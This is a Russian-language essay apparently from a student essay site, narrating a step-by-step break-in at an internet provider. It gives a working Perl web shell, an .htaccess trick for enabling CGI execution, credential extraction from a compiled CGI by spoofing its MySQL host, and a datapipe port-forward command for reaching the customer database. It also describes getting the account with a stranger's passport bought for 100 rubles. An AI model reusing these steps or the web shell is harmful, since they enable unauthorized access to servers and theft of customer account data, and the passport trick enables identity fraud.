Инструментарий несанкционированного доступаРефераты >> Программирование и компьютеры >> Инструментарий несанкционированного доступа
Запускаем браузер и пытаемся попасть на http://statserv.провайдер.ру. Не пускает! 403 Forbidden, говорит. Снова заходим на www.провайдер.ру и среди прочей информации обнаруживаем, что доступ к серверу статистики предоставляется только клиентам этой компании и только из внутренней сети, и на нем можно ознакомиться с количеством потребленных услуг и даже поменять пароль(!). Более того, каждому клиенту этого провайдера предоставляется возможность бесплатно завести домашнюю страничку. Но доступ к этой страничке предоставляется только из внутренней сети по протоколу FTP c тем же (!!!) логином/паролем, который используется для доступа в Интернет. Размышляем вслух . Если это так, то скорее всего и FTPd и Apache авторизуют пользователей из общей базы данных.
Пришлось даже проиндексировать (HT://Dig) все доступные WEB-странички на http://users.провайдер.ру/, однако следов использования CGI-скриптов не обнаружилось .
OK! Обратимся к человеческому фактору .
Вторник, 10-00
Подхожу на улице к молодому человеку бомжеватого вида и слезно умоляю (за 100 рублей) одолжить паспорт на некоторое время. Через 20 минут в моих руках оказался договор, согласно которому я, Иван Петрович Пуговкин имею право воспользоваться услугами Интернет через компанию www.провайдер.ру и, в числе прочих возможностей, завести собственную домашнюю страничку и проверить состояние лицевого счета на сервере статистики. Логин/пароль прилагаются.
Дело в том, что на сервере провайдера было написано, что "домашние странички следует готовить в кодировке win1251. Если вы используете другой тип кодировки, то в корневой каталог вашего сервера можно положить файл .htaccess с одной строчкой "CharsetSourceEnc koi-8r". Только в данной ситуации кодировки нас совсем не интересовали. Кладем в мой домашний каталог файл .htaccess, только строчка выглядела немного по другому - "Options Includes ExecCGI". Заливаем по FTP маленький файл (test.cgi),
=============== test.cgi =============
#!/usr/local/bin/perl
print "Content-type: text/html\n";
print "test\n";
=============== end of test.cgi ========
делаем "chmod 755" при помощи FTP-клиента. Запускаем браузер и заходим на http://users.провайдер.ру/user_name/test.cgi). Yes!!! Работает! Мы смогли запустить cgi-скрипт на perl, хотя провайдер и считает, что это невозможно. Сие означает, что, в принципе, мы можем запустить на сервере любую программу с правами пользователя, из под которой работает WEB-сервер (например, nobody). В качестве инструмента загружаем на сервер следующую утилиту (shell.cgi), изменяем ее атрибуты на 755,
==================== shell.cgi ==================
#!/usr/local/bin/perl
read (STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@names=split('&',$buffer);
foreach $name (@names)
{
($field,$value)=split('=',$name);
$value=~ s/\+/ /g;
$value=~ s/%([0-9A-Fa-f][0-9A-Fa-f])/pack("c",hex($1))/ge;
$form{$field}=$value;
}
print <<EOT
Content-type: text/html
<html>
<body bgcolor="#ffffff" onLoad="document.forms[0].com.focus()">
<form method="post" action="shell.cgi">
<input size=50 name="com">
</form>
EOT
;
$result = `$form{com} 2>&1`;
$result =~ s/\n/<br>/g;
print $result;
print "</body></html>\n";
================ end of shell.cgi ==================
заходим на http://users.провайдер.ру/user_name/shell.cgi) и в формочке (shell c правами пользователя nobody) набираем какую-нибудь UNIX-команду. Например, "date". Впрочем, сколько сейчас времени нас интересует только лишь по той причине, что прошло всего 15 минут с момента начала попытки взлома. А сейчас нас больше волнует конфигурационный файл сервера Apache. Обычно он находится здесь - /usr/local/apache/conf/httpd.conf. Пробуем его просмотреть при помощи нашей странички (shell.cgi) командой "cat /usr/local/apache/conf/httpd.conf". Оказалось, что на этом хосте одновременно функционируют два виртуальных Web-сервера (сервер статистики и сервер, где хранятся наши бесплатные странички). Начинаем изучать сервер статистики . Авторизация выполнена средствами Apache, причем авторизуется он в MySQL-базе (http://www.mysql.com) на сервере store.провайдер.ru.
============== httpd.conf =============
Auth_MYSQLinfo store.провайдер.ru nobody .
AuthName Mail_list
AuthType basic
Auth_MYSQLdatabase users
Auth_MYSQLpwd_table passwd
Auth_MYSQLuid_field email
Auth_MYSQLpwd_field passwd
Auth_MYSQLgrp_table logins
Auth_MYSQLgrp_field disal_group
Auth_MYSQL_EncryptedPasswords off
<limit get post>
order deny,allow
allow from all
require valid-user
</limit>
============== end of httpd.conf =========
Теперь мы точно знаем, где хранится клиентская база!
После непродолжительного изучения возможностей сервера статистики я нахожу скрипт, при помощи которого клиент может поменять пароль в базе (http://user_name:passwd@startserv.провайдер.ру/cgi-bin/connect.cgi). Снова захожу на http://users.провайдер.ру/user_name/shell.cgi и делаю "cat /usr/local/apache/doc/statserv/cgi-bin/connect.cgi". Эх! Не повезло! CGI-скрипт написан на языке Си и уже скомпилирован. Вот невезуха! Если бы использовался Perl, то пароль для доступа к MySQL можно было бы уже иметь на руках. Впрочем, настоящего кул-хацкера эта проблема не сможет надолго остановить!
Вторник, 12-00
Итак, мы имеем скомпиленный скрипт, который умеет коннектиться к MySQL-серверу на store.провайдер.ru (где, судя по всему, и находится то, что нас интересует). Причем в качестве входных параметров этот скрипт использует переменные REMOTE_USER и REMOTE_PASSWD (наш логин/пароль, при помощи которых мы авторизовались на сервере статистики). Интересно, а на какой системе скомпилена эта штука? Набираем "uname -an" и получаем Linux Mandrake 7.0. Класс! У меня на компьютере используется то же самое. Копирую (через shell.cgi) этот скрипт в свой домашний каталог и перекачиваю по FTP к себе на машинку. После изучения кода в HEX-редакторе оказывается, что программа использует libmysqlclient.so.6.0, что коннектится она к store.провайдер.ru:3306 к базе users и что логин/пароль вкомпилированы непосредственно в нее. Помучаться пришлось немало, но в итоге я научил эту программу запускаться на моем компьютере.
Следующим этапом было написание софтинки, которая слушает порт 3306 и в минимальном объеме эмулирует работу MySQL-сервера. Прописав в файл /etc/hosts строчку о том, что мой компьютер - store.провайдер.ru, я научил скрипт коннектиться в то самое место, которое мне было нужно. Не буду описывать подробности, факт тот, что логин/пароль для доступа к MySQL-серверу на store.провайдер.ру я все-таки вытащил.
Среда, 21-30
Предварительно просканировав store.провайдер.ру на наличие открытых портов, я понял, что проще всего добираться до MySQL-базы через хост users.провайдер.ру. Немного поразмыслив, я решил просто подвесить там "трубу", т.е. устроить редирект таким образом, чтобы, законнектившись на users.провайдер.ру:23456, я автоматически попадал на store.провайдер.ru:3306. На сервере http://www.rootshell.org нашлась программа datapipe.c. Загрузив ее на сервер и скомпилив ее через nobody-shell, который мы "поимели" пару часов назад (http://users.провайдер.ру/user_name/shell.cgi) мы получаем готовый транспорт для взлома. Остается только его запустить. Что и делается командой "./datapipe 23456 3306 store.провайдер.ru 2>&1".